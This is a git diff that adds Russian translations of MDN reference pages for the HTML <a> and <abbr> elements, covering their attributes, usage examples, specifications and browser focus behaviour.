+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("8.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("video")}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("12.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/En/HTTP_access_control" title="en/HTTP access control">HTTP access control</a></li>
+</ul>
diff --git a/files/ru/web/html/element/a/index.html b/files/ru/web/html/element/a/index.html
new file mode 100644
index 0000000000..57a577fb38
--- /dev/null
+++ b/files/ru/web/html/element/a/index.html
@@ -0,0 +1,394 @@
+---
+title: <a>
+slug: Web/HTML/Element/A
+tags:
+  - HTML
+  - Веб
+  - Контент
+  - Семантика
+  - Содержание
+translation_of: Web/HTML/Element/a
+---
+<p>HTML-элемент <code>&lt;a&gt;</code> определяет гиперссылку для перехода на определённое место на странице или на другую страницу в Интернете. Также он может быть использован (в устаревшем варианте) для создания якоря — это место назначения для гиперссылок внутри страницы: так ссылки не ограничены только в перемещении между страницами.</p>
+
+<pre class="brush: html">&lt;a href="https://developer.mozilla.org"&gt;MDN&lt;/a&gt;</pre>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ru/docs/Web/Guide/HTML/Content_categories" title="HTML/Content_categories">Категории контента</a> </th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток" title="HTML/Content categories#Flow content">Основной поток</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content categories#Phrasing content">текстовый контент</a>, <a href="/en-US/docs/Web/Guide/HTML/Content_categories#interactive_content">интерактивный контент</a>, скрытый контент.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённый контент</th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Логический_контент" title="HTML/Content_categories#Transparent_content_model">Логический контент</a>, содержащий либо <a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток" title="HTML/Content_categories#Flow_content">основной поток</a> (исключая <a href="/ru/docs/Web/Guide/HTML/Content_categories#interactive_content">интерактивный контент</a>), либо <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content_categories#Phrasing_content">заголовочный контент</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Опускание тегов</th>
+   <td>Открывающий и закрывающий теги обязательны.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённые родительские элеметны</th>
+   <td>Любые элементы, в которых разрешён <a href="/ru/docs/Web/Guide/HTML/Content_categories#Заголовочный_контент">текстовый контент</a> или элементы, в которых разрешёны элементы <a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">основного потока</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM-интерфейс</th>
+   <td>{{domxref("HTMLAnchorElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributes" name="Attributes">Атрибуты</h2>
+
+<p>Этот элемент включает в себя <a href="/ru/docs/Web/HTML/Общие_атрибуты">общие атрибуты</a>.</p>
+
+<dl>
+ <dt><strong><code>{{htmlattrdef("download")}} {{HTMLVersionInline(5)}}</code></strong></dt>
+ <dd>Этот атрибут сообщает о том, что эта ссылка должна быть использована для скачивания файла, и, когда пользователь нажимает на ссылку, ему будет предложено сохранить файл как локальный. Если у этого атрибута есть значение, оно будет использовано как заполненное название файла в Окне сохранения, которое открывается, когда пользователь нажимает на ссылку (пользователь может поменять название перед сохранением файла). Ограничений на позволенные значения нет (хотя оно будет конвертировано в нижние подчёркивания, предотвращая специфичные пути), но стоит обратить внимание, что у большинства файловых систем есть ограничения на то, какие знаки препинания поддерживаются файловой системой, и браузеры регулируют названия согласно ограничениям.</dd>
+ <dd><span style="display: none;"> </span></dd>
+</dl>
+
+<div class="note">
+<p><strong>Примечание:</strong></p>
+
+<ul>
+ <li>Атрибут может быть использован вместе с <a href="/ru/docs/Web/API/URL/createObjectURL">blob: URLs</a> и <code>data: URLs</code>, чтобы пользователи могли проще скачать контент, который сгенерирован с помощью <span style="display: none;"> </span>JavaScript (например, картинка, созданная с помощью онлайн-сайта для рисования).</li>
+ <li>Если представлен HTTP-заголовок <code>Content-Disposition:,</code> и он содержит иное название, у HTTP-заголовка есть преимущество над атрибутом.</li>
+ <li>Если этот атрибут установлен и <code>Content-Disposition:</code> установлен на <code>inline</code>, Firefox отдаёт преимущество <code>Content-Disposition</code>, но в тоже время Chrome отдаёт преимущество атрибуту <code>download</code>.</li>
+ <li>Этот атрибут соблюдается только на ресурсах с тем же<span style="display: none;"> </span> доменом.</li>
+</ul>
+</div>
+
+<dl>
+ <dt>{{htmlattrdef("href")}}</dt>
+ <dd>Единственный обязательный атрибут для опредения ссылки в HTML4, но больше необязательный в HTML5. Упущение этого атрибута создаёт ссылку-заполнитель. Атрибут <code>href</code> указывает ссылку: либо URL, либо якорь. Якорь — это название после символа <code>#</code>, который указывает на элемент (<a href="/ru/docs/HTML/Global_attributes#attr-id">ID</a>) на текущей странице. URL не ограничены только ссылками на HTTP, они могут использовать любой протокол, поддерживающийся браузером. Например, <code>file</code>, <code>ftp</code> и <code>mailto</code> работают в большинстве браузеров.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Примечание:</strong> Вы можете использовать специальное значение «top», чтобы создать ссылки в начало страницы, например: <code>&lt;a href="#top"&gt;Вернуться наверх&lt;/a&gt;</code>. <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#scroll-to-fragid" lang="en" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#scroll-to-fragid">Это поведение указано в Спецификациях HTML5</a>.</p>
+</div>
+
+<dl>
+ <dt>{{htmlattrdef("hreflang")}}</dt>
+ <dd>Этот атрибут сообщает язык документа по ссылке. Это чисто контрольная информация. Разрешённые значения определены в <a href="http://www.ietf.org/rfc/bcp/bcp47.txt" title="http://www.ietf.org/rfc/bcp/bcp47.txt">BCP47</a> для HTML5 и <a href="http://www.ietf.org/rfc/rfc1766.txt" title="http://www.ietf.org/rfc/rfc1766.txt">RFC1766</a> для HTML4. Используйте этот атрибут, только если задан {{htmlattrxref("href", "a")}}.</dd>
+ <dt>{{htmlattrdef("ping")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Этот атрибут уведомляет указанные в нём URL, что пользователь перешёл по ссылке.</dd>
+ <dt>{{htmlattrdef("referrerpolicy")}} {{experimental_inline}}</dt>
+ <dd>Этот атрибут сообщает, какую информацию передавать ресурсу по ссылке:</dd>
+ <dd>
+ <ul>
+  <li><code>"no-referrer"</code> не отправляет заголовок <code>Referer</code>.</li>
+  <li><code>"no-referrer-when-downgrade"</code> не отправляет заголовок <code>Referer</code> ресурсу без TLS (HTTPS). Это стандартное поведение браузера, если не указана иная политика.</li>
+  <li><code>"origin"</code> отправляет такую информацию о текущей странице, как адрес, протокол, хост и порт.</li>
+  <li><code>"origin-when-cross-origin"</code> отправляет другим ресурсам только протокол, хост и порт, а внутри ресурса также отправляет путь. </li>
+  <li><code>"unsafe-url"</code> отправляет только ресурс и адрес (но не пароли или никнеймы). Это значение небезопасно, так как могут утечь ресурс и адрес с TLS-защищённых ресурсов на небезопасные.</li>
+ </ul>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("rel")}}</dt>
+ <dd>Для ссылок, которые содержат атрибут <code>href</code>, этот атрибут устанавливает отношения между ссылками. Значением является <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Link_types">список значений</a>, разделённый пробелами. Значения и их семантика будут зарегистрированы другими сайтами, которые могут иметь произвольное значение к документу автора. Значением по умолчанию является <code>void</code>, если не задано иное. Используйте этот тег, только если задан атрибут {{htmlattrxref("href", "a")}}.</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("target")}}</dt>
+ <dd>Этот атрибут определяет, где показать содержимое по ссылке. В HTML4, это название и ключевое слово фрейма. В HTML5, это название или ключевое слово в браузере (например, вкладка, окно или iframe). У следующих ключевых слов специальные значения:</dd>
+ <dd>
+ <ul>
+  <li><code>_self</code> загружает документ в текущем фрейме в HTML4 (или текущей вкладке в HTML5) как текущий. Это значение по умолчанию, если не указано иное значение.</li>
+  <li><code>_blank</code> загружает документ в новой окне в HTML4 или вкладке в HTML5.</li>
+  <li><code>_parent</code> загружает документ в родительском фрейме в HTML4 или в родительской вкладке в HTML5. Если нет родителя, параметр будет вести себя как<code> _self</code>: Load the response into the HTML4 frameset parent of the current frame or HTML5 parent browsing context of the current one. If there is no parent, this option behaves the same way as <code>_self</code>.</li>
+  <li><code>_top</code> в HTML4 загружает документ в новом окне, игнорируя другие фреймы. В HTML5 загружает в окне высшего уровня. Если родителя нет, опция ведёт себя как <code>_self</code>.</li>
+ </ul>
+ Используйте этот атрибут только если указан {{htmlattrxref("href", "a")}}.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Примечание:</strong> Используя <code>target</code>, вы должны добавлять <code>rel="noopener noreferrer"</code>, чтобы избежать эксплуатацию API <code>window.opener</code>.</p>
+</div>
+
+<dl>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>Этот атрибут определяет <a href="http://www.w3.org/TR/html4/references.html#ref-MIMETYPES">MIME-тип</a> для документа по ссылке. Обычно это используется как контрольная информация, но в будущем браузеры могут добавлять маленькую иконку для медиафайлов. Например, браузер может добавить маленькую иконку мегафона, если тип файла установлен как <code>audio/wav</code>.</dd>
+ <dd>Используйте этот атрибут только если указан {{htmlattrxref("href", "a")}}.</dd>
+</dl>
+
+<h3 id="Устаревшие">Устаревшие </h3>
+
+<dl>
+ <dt>{{htmlattrdef("charset")}} {{obsoleteGeneric("inline","HTML5")}}</dt>
+ <dd>Этот атрибут определяет кодировку документа по ссылке. Значением является разделённый пробелами или запятыми <a href="http://tools.ietf.org/html/rfc2045">список кодировок</a>. Значением по умолчанию является ISO-8859-1.</dd>
+</dl>
+
+<div class="warning">
+<p><strong>Предупреждение:</strong> Этот атрибут является устарелым в HTML5 и <strong>не должен использоваться</strong>. Чтобы достичь такого же эффекта, используйте HTTP-заголовок <code>Content-Type</code> на ссылающемся ресурсе.</p>
+</div>
+
+<dl>
+ <dt>{{htmlattrdef("coords")}} {{HTMLVersionInline(4)}}{{obsoleteGeneric("inline","HTML5")}}</dt>
+ <dd>Для использования с формой объекта, этот атрибут использует разделённый запятыми список чисел для определения координат объекта на странице.</dd>
+ <dt><code><strong>name</strong></code><strong style="font-weight: 700; line-height: 1.5;"> </strong><strong>{{HTMLVersionInline(4)}}</strong> <strong>{{obsoleteGeneric("inline","HTML5")}}</strong></dt>
+ <dd>Этот атрибут обязателен в определении якоря на странице. Значение имени схоже со значением <code>id</code> и должен быть уникальным идентификатором и состоять из букв и цифр. Согласно спецификации HTML 4.01, и <code>id</code>, и <code>name</code> могут быть использованы с элементом <code>&lt;a&gt;</code>, пока у них идентичные значения.</dd>
+ <dt><strong style="font-weight: 700; line-height: 1.5;"><code>rev</code> </strong><strong>{{HTMLVersionInline(4)}}</strong> <strong>{{obsoleteGeneric("inline","HTML5")}}</strong></dt>
+ <dd>Этот атрибут определяет обратную ссылку, обратные отношения атрибута <code>rel</code>. Это полезно, чтобы отобразить, откуда пришёл объект как автор или документ.</dd>
+</dl>
+
+<dl>
+ <dt><code>shape</code> {{HTMLVersionInline(4)}} {{obsoleteGeneric("inline","HTML5")}}</dt>
+ <dd>Этот атрибут используется, чтобы определить выбранный регион для ссылок на источник гипертекста, которые соединены с фигурой для создания изображения-карты. Значения для атрибута — <code>circle</code>, <code>default</code>, <code>polygon</code> и <code>rect</code>. Формат координат зависит от выбранной формы. Для <code>circle</code> — <code>x</code>, <code>y</code>, <code>r</code>, где <code>x</code> и <code>y</code> — пиксельные координаты центра круга и <code>r</code> — радиус в пикселях. Для rect — <code>x</code>, <code>y</code>, <code>w</code>, <code>h</code>, где <code>x</code> и <code>y</code> — координаты верхнего левого угла прямоугольника, а <code>w</code> и <code>h</code> — ширина и высота соответственно. Значениями <code>polygon</code> для координатов формы являются <code>x1</code>, <code>y1</code>, <code>x2</code>, <code>y2</code>... Каждая пара <code>x</code>, <code>y</code> определяет точку в полигоне, с последующей точкой становится прямой линией, и последняя точка объединяется с первой. Значение <code>default</code> для форм требует, чтобы полностью закрытая территория, например, изображение, было использовано.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Примечание:</strong> Желательно использовать атрибут <code>usemap</code> для элемента <code><a href="/ru/docs/Web/HTML/Element/img">&lt;img&gt;</a></code> и связанного элемента <code><a href="/ru/docs/Web/HTML/Element/map">&lt;map&gt;</a></code>, чтобы определить горячие точки вместо атрибутов формы.</p>
+</div>
+
+<h3 id="Нестандартные">Нестандартные</h3>
+
+<dl>
+ <dt>{{htmlattrdef("datafld")}} {{Non-standard_inline}}</dt>
+ <dd>Этот атрибут определяет назание столбца из объекта исходных данных, который принимает связанные данные.</dd>
+</dl>
+
+<div class="warning">
+<p><strong>Предупреждение: </strong>Этот атрибут нестандартный и <strong>не должен использоваться</strong>. Для достижения такого же эффекта, используйте скрипты и такие механизмы, как <a href="/ru/docs/nsIXMLHttpRequest" title="XMLHttpRequest">XMLHttpRequest</a>, чтобы динамично заполнять страницу.</p>
+</div>
+
+<table>
+ <tbody>
+  <tr>
+   <td rowspan="2">Поддержка</td>
+   <td>Gecko</td>
+   <td>Presto</td>
+   <td>WebKit</td>
+   <td>Trident</td>
+  </tr>
+  <tr>
+   <td>Не реализована</td>
+   <td>Не реализована</td>
+   <td>Не реализована</td>
+   <td>IE4, IE5, IE6, IE7 (Убрана в IE8)</td>
+  </tr>
+  <tr>
+   <td>Нормативный документ</td>
+   <td colspan="4"><a href="http://msdn.microsoft.com/en-us/library/ms533703%28VS.85%29.aspx">Microsoft's Data Binding: dataFld Property (MSDN)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<dl>
+ <dt>{{htmlattrdef("datasrc")}} {{Non-standard_inline}}</dt>
+ <dd>Этот атрибут сообщает ID объекта исходных данных, который принимает связанные данные с этим элементом.</dd>
+</dl>
+
+<div class="warning">
+<p><strong>Предупреждение: </strong>Этот атрибут нестандартный и <strong>не должен использоваться</strong>. Для достижения такого же эффекта, используйте скрипты и такие механизмы, как <a href="/ru/docs/nsIXMLHttpRequest" title="XMLHttpRequest">XMLHttpRequest</a>, чтобы динамично заполнять страницу.</p>
+</div>
+
+<table>
+ <tbody>
+  <tr>
+   <td rowspan="2">Поддержка</td>
+   <td>Gecko</td>
+   <td>Presto</td>
+   <td>WebKit</td>
+   <td>Trident</td>
+  </tr>
+  <tr>
+   <td>Не реализована</td>
+   <td>Не реализована</td>
+   <td>Не реализована</td>
+   <td>IE4, IE5, IE6, IE7 (Убрана в IE8)</td>
+  </tr>
+  <tr>
+   <td>Нормативный документ</td>
+   <td colspan="4"><a href="http://msdn.microsoft.com/en-us/library/ms533709(VS.85).aspx" title="http://msdn.microsoft.com/en-us/library/ms533709(VS.85).aspx">Microsoft's Data Binding: dataSrc Property (MSDN)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<dl>
+ <dt>{{htmlattrdef("methods")}}<strong style="font-weight: 700; line-height: 1.5;"> </strong>{{Non-standard_inline}}</dt>
+ <dd>Значение этого атрибута предоставляет информацию о функциях, которые могут быть выполнены на объекте. Обычно значения даны HTTP-протоколом, когда он использован, но может (для похожих целей, как для атрибута <code>title</code>) быть полезным для включения контрольной информации в ссылке. Например, браузер может выбрать другой тип рендеринга для ссылки как функцию определённых методов; что-то, что может быть найдено, может иметь другую иконку, или внешняя ссылка может получить индикатор перехода с текущего сайта. Этот элемент не понимается или не поддерживается полностью даже браузером Internet Explorer 4, который определил этот атрибут. <a class="external" href="http://msdn.microsoft.com/en-us/library/ms534168(VS.85).aspx">Значения <code>methods</code> (MSDN)</a>.</dd>
+ <dt>{{htmlattrdef("urn")}}<strong style="font-size: 14px; font-weight: 700; line-height: 1.5;"> </strong>{{Non-standard_inline}}</dt>
+ <dd>Этот атрибут, предложенный Micosoft, определяет отношения уникального названия ресурса (URN) с ссылкой. Хотя он основан на стандартах работы нескольких лет назад, значение URN всё еще не определено полностью, поэтому этот атрибут не имеет значения. <a class="external" href="http://msdn.microsoft.com/en-us/library/ms534710(VS.85).aspx">Значения <font face="Consolas, Liberation Mono, Courier, monospace">urn</font> (MSDN)</a>.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Примеры</h2>
+
+<h3 id="Ссылка_на_внешний_сайт" name="Ссылка_на_внешний_сайт">Ссылка на внешний сайт</h3>
+
+<pre class="brush: html">&lt;!-- Ссылка на внешний файл --&gt;
+&lt;a href="http://www.mozilla.com/"&gt;Внешняя ссылка&lt;/a&gt;
+</pre>
+
+<h4 id="Результат">Результат:</h4>
+
+<p><a class="external" href="http://www.mozilla.com/">Внешняя ссылка</a></p>
+
+<h3 id="Создание_кликабельной_картинки" name="Создание_кликабельной_картинки">Создание кликабельной картинки</h3>
+
+<pre class="brush: html">&lt;a href="https://developer.mozilla.org/ru/" target="_blank"&gt;
+  &lt;img src="https://mdn.mozillademos.org/files/6851/mdn_logo.png" alt="MDN logo"&gt;
+&lt;/a&gt;
+</pre>
+
+<h4 id="Результат_2">Результат:</h4>
+
+<p>{{ EmbedLiveSample("Создание_кликабельной_картинки", "320", "64") }}</p>
+
+<h3 id="Создания_ссылки_для_написания_письма" name="Создания_ссылки_для_написания_письма">Создания ссылки для написания письма</h3>
+
+<pre class="brush: html">&lt;a href="mailto:nowhere@mozilla.org"&gt;Отправить сообщение в никуда&lt;/a&gt;
+</pre>
+
+<p>Результат выглядит примерно так: <a href="mailto:nowhere@mozilla.org">Отправить сообщение в никуда</a>.</p>
+
+<p>Для дополнительных деталей использования <code>mailto</code>, таких как тема, текст или другое, смотрите <a href="/ru/docs/Web/Guide/HTML/Email_links">Email-ссылки</a> или {{RFC(6068)}}.</p>
+
+<h3 id="Создание_ссылки_с_номером_телефона" name="Создание_ссылки_с_номером_телефона">Создание ссылки с номером телефона</h3>
+
+<p>С телефонами, способными выходить в Интернет и ноутбуками, которые привязаны к телефонам, ссылки с номером телефона становятся всё больше и больше полезными.</p>
+
+<pre class="brush: html">&lt;a href="tel:+491570156"&gt;+49 157 0156&lt;/a&gt;
+</pre>
+
+<p>Для дополнителных деталей о протоколе <code>tel</code>, смотрите {{RFC(2806)}} и {{RFC(2396)}}.</p>
+
+<h3 id="Использование_download_для_сохранения_canvas_как_PNG" name="Использование_download_для_сохранения_canvas_как_PNG">Использование <code>download</code> для сохранения canvas как PNG</h3>
+
+<p>Если вы хотите позволить пользователю скачивать HTML canvas как картинку, вы можете создать ссылку с атрибутом <code>download</code> и данные canvas как <code>data: URL</code>:</p>
+
+<pre class="brush: js">var link = document.createElement("a");
+link.innerHTML = 'download image';
+
+link.addEventListener("click", function(ev) {
+  link.href = canvas.toDataURL();
+  link.download = "mypainting.png";
+}, false);
+
+document.body.appendChild(link);
+</pre>
+
+<p class="brush: js">Вы можете посмотреть на это в действии: <a href="http://jsfiddle.net/codepo8/V6ufG/2/">jsfiddle.net/codepo8/V6ufG/2/</a>.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Примечание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrer attribute')}}</td>
+   <td>{{Spec2('Referrer Policy')}}</td>
+   <td>Добавлен атрибут <code>referrerpolicy</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-a-element', '&lt;a&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-a-element', '&lt;a&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/links.html#h-12.2', '&lt;a&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div>
+
+<p>{{Compat("html.elements.a")}}</p>
+
+<h2 id="Нажатие_и_фокус">Нажатие и фокус</h2>
+
+<p>Нажатие на {{HTMLElement("a")}} приводит (по умолчанию) к фокусировке элемента, но оно может быть разным в засивисимости от браузера и ОС.</p>
+
+<table>
+ <caption>
+ <p>Фокусируется ли элемент нажатием на {{HTMLElement("a")}}?</p>
+ </caption>
+ <tbody>
+  <tr>
+   <td>Настольные</td>
+   <th>Windows 8.1</th>
+   <th>OS X 10.9</th>
+  </tr>
+  <tr>
+   <th>Firefox 30.0</th>
+   <td>Да</td>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th>Chrome ≥39<br>
+    (<a href="https://code.google.com/p/chromium/issues/detail?id=388666" title="Issue 388666: Focus anchor (A) elements on mousedown">Chromium bug 388666</a>)</th>
+   <td>Да</td>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th>Safari 7.0.5</th>
+   <td>Нет данных</td>
+   <td>Только с заданным <code>tabindex</code></td>
+  </tr>
+  <tr>
+   <th>Internet Explorer 11</th>
+   <td>Да</td>
+   <td>Нет данных</td>
+  </tr>
+  <tr>
+   <th>Presto (Opera 12)</th>
+   <td>Да</td>
+   <td>Да</td>
+  </tr>
+ </tbody>
+</table>
+
+<table>
+ <tbody>
+  <tr>
+   <td>Мобильные</td>
+   <th>iOS 7.1.2</th>
+   <th>Android 4.4.4</th>
+  </tr>
+  <tr>
+   <th>Safari Mobile</th>
+   <td>Только с заданным <code>tabindex</code></td>
+   <td>Нет данных</td>
+  </tr>
+  <tr>
+   <th>Chrome 35</th>
+   <td>Неизвестно</td>
+   <td>Только с заданным <code>tabindex</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p>HTML 3.2 включает в себя только <code>name</code>, <code>href</code>, <code>rel</code>, <code>rev</code> и <code>title</code>.</p>
+
+<p>Атрибут <code>target</code> не работает в браузерах, не поддерживающих фреймы, таких как Netscape 1 generation. Кроме того, <code>target</code> не допускается в «строгих» вариантах <a href="/en/XHTML" title="en/XHTML">XHTML</a>, но разрешен в формах frameset или «переходных» формах.</p>
+
+<h3 id="Рекомендации_по_JavaScript">Рекомендации по JavaScript</h3>
+
+<p>Часто якорь используется с событием <code>onclick</code>. Для избежания обновления страницы, <code>href</code> часто устанавливается на <code>#</code>, либо на <code>javascript:void(0)</code>. Оба этих значения могут привести к некоторым неожиданным ошибкам во время копирования ссылки или открытия ссылки в новой вкладке или окне. Помните об этом, чтобы сделать юзабилити удобнее, когда пользователи используют якори и Вы не допускаете стандартного поведения.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Другие элементы: {{HTMLElement("abbr")}}, {{HTMLElement("em")}}, {{HTMLElement("strong")}}, {{HTMLElement("small")}}, {{HTMLElement("cite")}}, {{HTMLElement("q")}}, {{HTMLElement("dfn")}}, {{HTMLElement("time")}}, {{HTMLElement("code")}}, {{HTMLElement("var")}}, {{HTMLElement("samp")}}, {{HTMLElement("kbd")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{HTMLElement("b")}}, {{HTMLElement("i")}}, {{HTMLElement("mark")}}, {{HTMLElement("ruby")}}, {{HTMLElement("rp")}}, {{HTMLElement("rt")}}, {{HTMLElement("bdo")}}, {{HTMLElement("span")}}, {{HTMLElement("br")}}, {{HTMLElement("wbr")}}.</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/ru/web/html/element/abbr/index.html b/files/ru/web/html/element/abbr/index.html
new file mode 100644
index 0000000000..c5e667922e
--- /dev/null
+++ b/files/ru/web/html/element/abbr/index.html
@@ -0,0 +1,186 @@
+---
+title: '<abbr>: Элемент Аббревиатура'
+slug: Web/HTML/Element/abbr
+tags:
+  - HTML
+  - Тег
+  - Элемент
+translation_of: Web/HTML/Element/abbr
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>Элемент HTML «аббревиатура» (<code>&lt;abbr&gt;</code>)</strong> представляет собой аббревиатуру и, опционально, может показывать её расшифровку. Расшифровка записывается в атрибут {{htmlattrxref("title")}}. Иные значения <code>title</code>, кроме расшифровки аббревиатуры не допускаются.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/abbr.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">Исходный код этого интерактивного примера находится в GitHub репозитории. Если вы хотите внести свой вклад в проект интерактивных примеров, пожалуйста, склонируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> и отправьте нам запрос.</p>
+
+<p>Статья <em><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting#%D0%90%D0%B1%D0%B1%D1%80%D0%B5%D0%B2%D0%B8%D0%B0%D1%82%D1%83%D1%80%D1%8B">Как помечать аббревиатуры и сделать их потянтыми</a></em> поможет понять как использовать <code>&lt;abbr&gt;</code> и связанные элементы.</p>
+
+<table class="htmlelt">
+ <tbody>
+  <tr>
+   <th scope="row">Интерфейс DOM</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+  <tr>
+   <th scope="row"><a href="/ru/docs/Web/Guide/HTML/Content_categories">Категории контента</a></th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток" title="HTML/Content categories#Flow content">Основной поток</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories/#Фразовый_контент" title="HTML/Content categories#Phrasing content">текстовый контент</a>, явный контент</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённое содержимое</th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Content_categories/#Фразовый_контент" title="HTML/Content_categories#Phrasing_content">Фразовый контент</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённые родительские элементы</th>
+   <td>Любые, поддерживающие <a href="/ru/docs/Web/Guide/HTML/Content_categories/#Фразовый_контент" title="HTML/Content_categories#Phrasing_content">фразовый контент</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённые ARIA роли</th>
+   <td>Любые</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM интерфейс</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributes" name="Attributes">Атрибуты</h2>
+
+<p><span style="line-height: 21px;">Этот элемент поддерживает только </span><a href="/ru/docs/Web/HTML/Общие_атрибуты" style="line-height: 21px;" title="HTML/Global attributes">глобальные атрибуты</a><span style="line-height: 21px;">. Атрибут </span>{{htmlattrxref("title")}} имеет специальное семантическое значение, когда используется вместе с элементом <code>&lt;abbr&gt;</code>. Он <em>должен</em> содержать полную расшифровку или описание аббревиатуры.</p>
+
+<p>Каждый элемент <code>&lt;abbr&gt;</code> независим от других. Указание <code>title</code> на одном элементе не применяет это же описание к другим элементам с одинаковым содержанием.</p>
+
+<h2 id="Примечания_к_использованию">Примечания к использованию</h2>
+
+<h3 id="Обычное_использование">Обычное использование</h3>
+
+<p>Необязательно помечать все аббревиатуры с помощью <code>&lt;abbr&gt;</code>. Далее представлено несколько вариантов, которые помогут выбрать как помечать текст:</p>
+
+<ul>
+ <li>Когда используете аббревиатуру и хотите показать описание или расшифровку вне основного потока содержания, используйте <code>&lt;abbr&gt;</code> c подходящим {{htmlattrxref("title")}}.</li>
+ <li>Чтобы обозначить аббревиатуру, которая может быть незнакома читателю, используете <code>&lt;abbr&gt;</code> с атрибутом title или просто текст с описанем.</li>
+ <li>Когда присутствие аббревиатуры в тексте должно быть семантически выделено, полезен элемент <code>&lt;abbr&gt;</code>. В свою очередь, его использование может быть использовано для стилизации или написания сценариев.</li>
+ <li>Вы можете использовать <code>&lt;abbr&gt;</code> вместе с {{HTMLElement("dfn")}}, чтобы установить определения для терминов, которые являются аббревиатурами или акронимами. Смотрите пример {{anch("Определение в абревиатуре")}} ниже.</li>
+</ul>
+
+<h3 id="Граматческие_вопросы">Граматческие вопросы</h3>
+
